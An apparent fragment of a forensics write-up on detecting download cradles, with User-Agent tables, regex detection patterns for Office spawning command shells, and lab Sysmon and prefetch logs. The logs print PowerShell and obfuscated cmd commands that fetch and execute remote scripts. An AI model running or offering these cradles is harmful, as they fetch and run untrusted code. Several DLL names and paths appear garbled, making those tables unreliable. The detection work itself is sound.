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[illegible]

Technique	Method: User-Agent	Notes
Powershell WebClient, XmlRequest	GET: \$Null	Extremely noisy and you may find alternate endpoint detection below is the best path beyond a standard content based approach. User-Agent is trivial to change.
Invoke-WebRequest, Invoke-WebRequestMethod	GET: Mozilla/* (Windows NT; Windows NT *; *) WindowsPowerShell/*	Easy to detect and baseline all traffic using a search for User-Agent="WindowsPowerShell". User-Agent is trivial to change.
PowerShell Word COM Object, Excel COM Object	OPTIONS: Microsoft Office * HEAD: Microsoft Office * HEAD: Microsoft Office Existence Discovery GET: Mozilla* (compatible; MSIE *; Windows NT * Trident/*; .NET *; .NET CLR *; ms-office; MSOffice*)	Bucketing for multiple methods by URL over a few seconds reduces noise significantly. Legitimate activity typically GET and involves document content.
Powershell IE COM Object	GET: Mozilla* (Windows NT *; WOW64; Trident/*; rv:*) like Gecko	Extremely noisy and you may find alternate endpoint detection below is the best path beyond a standard content based approach.
Powershell MsXml COM, WinHttp COM	GET: Mozilla* (compatible; Win32; WinHttp.WinHttpRequest.*)	Does not appear to be proxy aware, so understanding this context (and response codes!) may be helpful in determining priority.
Microsoft BITS	HEAD: Microsoft BITS/* GET: Microsoft BITS/*	Fairly simple to baseline as Microsoft BITS typically requests Windows Update, application and media domain content.
Microsoft CertUtil	GET: CertUtil URL Agent GET: Microsoft-CryptoAPI/*	Note: two GET requests are always initiated by this download cradle method one of each User-Agent. Best detection on User-Agent = "CertUtil URL Agent" as this is sparse. Legitimate traffic is easy to baseline as typically involves certificate related traffic to a fairly static set of domains.
regsvr32.exe, wmic.exe, rundll32.exe, mshta.exe	GET: Mozilla* (compatible; MSIE *; Windows NT * Trident/*; .NET*; .NET CLR *)	Another relatively noisy User-Agent, focus on content and endpoint.
WebDAV	Microsoft-WebDAV-MiniRedir/*	WebDAV GET requests are very sparse and simple to detect evil if monitored.
DnsTxtRecord	N/A	N/A in most orgs. DNS TXT traffic is typically DMARC related, very large encoded responses for unusual requests are immediately suspicious

(?i).*\\(winword|excel|powerpnt|mspub|visio|outlook)\\.exe

(?i).*\\(cmd|powershell|cscript|wscript|wmic|regsvr32|schtasks|rundll32|mshta|hh)\\.exe

(?i).*\\(mshta|powershell|cmd|rundll32|cscript|wscript|wmiprvse.exe)\\.exe

(?i).*\\(cmd|powershell|schtasks|reg|nslookup|certutil|bitsadmin)\\.exe

Image ▾	ProcessId ▾	ParentImage ▾	ParentProcessId ▾
C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	2684	C:\Windows\explorer.exe	2096
C:\Windows\SysWOW64\cmd.exe	2552	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	2684
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	2192	C:\Windows\SysWOW64\cmd.exe	2552

Image ▾	pId ▾	CommandLine ▾	ParentImage ▾	pId ▾	ParentCommandLine ▾
C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	2684	"C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\Matt\Documents\powershell.exe"	C:\Windows\explorer.exe	2096	C:\Windows\explorer.exe
C:\Windows\SysWOW64\cmd.exe	2552	CMD.EXE /s powershell -iX[New-Object System.Net.WebClient].DownloadString("http://[hijackurl]")	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	2684	"C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\Matt\Documents\powershell.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	2192	powershell -iX[New-Object System.Net.WebClient].DownloadString("http://[hijackurl]")	C:\Windows\SysWOW64\cmd.exe	2552	CMD.EXE /s powershell -iX[New-Object System.Net.WebClient].DownloadString("http://[hijackurl]")
C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	4800	"C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\Matt\Documents\powershell.exe"	C:\Windows\explorer.exe	2096	C:\Windows\explorer.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	3468	powershell.exe -WindowStyle Hidden -profile \$null -c iX [New-Object Net.WebClient].DownloadString("https://raw.githubusercontent.com/mgreen27/testing/master/test.ps1")	C:\Windows\System32\wbem\WinRM\PrivSec.exe	4128	C:\Windows\system32\wbem\winrm.exe -secured -Embedding

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PS C:\Users\Matt\DFIR> cmd /U:ON/R"set 3TM=(New-Object Net.WebClient).DownloadString('UAhttps://raw.githubusercontent.com/mgreen27/mgreen27.github.io/master/otUser/DownloadCradle/payloads/test.ps1')^!IkX&&set 2uy=!3TM:UA=h!&&set UC=!2uy:z=e!&&set 9b=!UG:qk=n!&&set $bDY=!9b:k=E!&&set mA=!$bDY:q=g!&&powershell.exe "mA!""
2018-04-03T21:13:32 Download Cradle test success!
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Description ↕	ImageLoaded ↕	Image ↕
Microsoft Schannel Provider	C:\Windows\System32\ncryptssp.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TLS / SSL Security Provider	C:\Windows\System32\lschannel.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FWP/IPsec User-Mode API	C:\Windows\System32\FWPUCCLNT.DLL	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Remote Access AutoDial Helper	C:\Windows\System32\rasadhlp.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Windows HTTP Services	C:\Windows\System32\winhttp.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Microsoft Windows Sockets 2.0 Service Provider	C:\Windows\System32\winsock.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
DNS Client API DLL	C:\Windows\System32\dnsapi.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Routing Utilities	C:\Windows\System32\rtutils.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
DHCP Client Service	C:\Windows\System32\dhcpcsvc.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
DHCPv6 Client	C:\Windows\System32\dhcpcsvc6.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Network Store Information RPC interface	C:\Windows\System32\winnsi.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
IP Helper API	C:\Windows\System32\IPHLPAPI.DLL	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Remote Access Connection Manager	C:\Windows\System32\rasman.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Remote Access API	C:\Windows\System32\rasapi32.dll	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

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Image ▾	User ▾	Hostname ▾	SrcIp ▾	SrcPort ▾	DestIp ▾	DestPort ▾	Protocol
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49574	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49575	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49576	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49577	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49578	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49579	151.101.0.133	443	https
C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49587	151.101.0.133	443	https
C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49589	151.101.0.133	443	https
C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49598	151.101.0.133	443	https
C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49599	151.101.0.133	443	https
C:\Program Files (x86)\Internet Explorer\iexplore.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49602	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49605	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49606	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49607	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49608	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49609	151.101.0.133	443	https
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49610	151.101.0.133	443	https
C:\Windows\System32\svchost.exe	NT AUTHORITY\SYSTEM	Investigator.dfir.lab	192.168.7.150	49611	151.101.0.133	443	https
C:\Windows\System32\certutil.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49613	151.101.0.133	443	https
C:\Windows\System32\certutil.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49612	151.101.0.133	443	https
C:\Windows\System32\regsvr32.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49614	151.101.0.133	443	https
C:\Windows\System32\mshta.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	49615	151.101.0.133	443	https
C:\Windows\System32\nslookup.exe	DFIR\vmatt	Investigator.dfir.lab	192.168.7.150	63773	192.168.7.2	53	dns

Image ▾	Target\Filename ▾
C:\Program Files (x86)\Internet Explorer\EXPLORE.EXE	C:\Users\Matt.DFIR\AppData\Local\Microsoft\Windows\NetCache\IE\PAEP281M\test[1].txt
C:\Program Files (x86)\Internet Explorer\EXPLORE.EXE	C:\Users\Matt.DFIR\AppData\Local\Microsoft\Windows\NetCache\IE\PAEP281M\test[1].ps1
C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE	C:\Users\Matt.DFIR\AppData\Roaming\Microsoft\Office\Recent\payloads on raw.githubusercontent.com.url
C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE	C:\Users\Matt.DFIR\AppData\Roaming\Microsoft\Office\Recent\index.dat
C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE	C:\Users\Matt.DFIR\AppData\Roaming\Microsoft\Office\Recent\test.ps1.url
C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE	C:\Users\Matt.DFIR\AppData\Local\Microsoft\Windows\NetCache\IE\PAEP281M\test[1].ps1
C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE	C:\Users\Matt.DFIR\AppData\Roaming\Microsoft\Office\Recent\payloads on raw.githubusercontent.com.url
C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE	C:\Users\Matt.DFIR\AppData\Roaming\Microsoft\Office\Recent\index.dat
C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE	C:\Users\Matt.DFIR\AppData\Roaming\Microsoft\Office\Recent\test.ps1.url
C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE	C:\Users\Matt.DFIR\AppData\Local\Microsoft\Windows\NetCache\IE\PAEP281M\test[1].ps1

TargetObject ▾	Image ▾
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS\FileDirectory	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS\MaxFileSize	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS\ConsoleTracingMask	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS\FileTracingMask	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS\EnableConsoleTracing	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS\EnableAutoFileTracing	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS\EnableFileTracing	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32\FileDirectory	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32\MaxFileSize	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32\ConsoleTracingMask	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32\FileTracingMask	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32\EnableConsoleTracing	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32\EnableAutoFileTracing	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32\EnableFileTracing	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

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112: \DEVICE\HARDDISKVOLUME2\WINDOWS\ASSEMBLY\GAC_64\SYSTEM.DATA\2.0.0.0_B77A5C561934E989\SYSTEM.DATA.DLL
113: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\ME2_32.DLL
114: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NSI.DLL
115: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CRYPT32.DLL
116: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MSASMI.DLL
117: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\SHFOLDER.DLL
118: \DEVICE\HARDDISKVOLUME2\WINDOWS\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATION\A2571A4E32A586B52463D88A83
702AED\SYSTEM.CONFIGURATION.NI.DLL
119: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\RPCAPI32.DLL
120: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\RRSPMM.DLL
121: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\RTUTILS.DLL
122: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MSMOCK.DLL
123: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MSHTCPIP.DLL
124: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MSHIP6.DLL
125: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\UIMMIF.DLL
126: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\UEBIO.DLL
127: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CREDSSP.DLL
128: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\IPHLPAPI.DLL
129: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\UIMNSI.DLL
130: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\DHCPSCUG.DLL
131: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\DHCPSCUG.DLL
132: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\DNSAPI.DLL
133: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\RSADHLP.DLL
134: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FUPUCLNT.DLL
135: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\SECURITY.DLL
136: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CHANNEL.DLL
137: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NCRYPT.DLL
138: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\BCRYPT.DLL
139: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
140: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\GPAPI.DLL
141: \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\METUTILS.DLL
142: \DEVICE\HARDDISKVOLUME2\USERS\ADMINISTRATOR\DFIR\DOCUMENTS\WINDOWSPOWERSHELL\MI_CROSOFT.POWERSHELL_PROFILE.PS1
----- Processed '._\POWERSHELL.EXE-920BBA2a.pf' in 0.28965150 seconds -----
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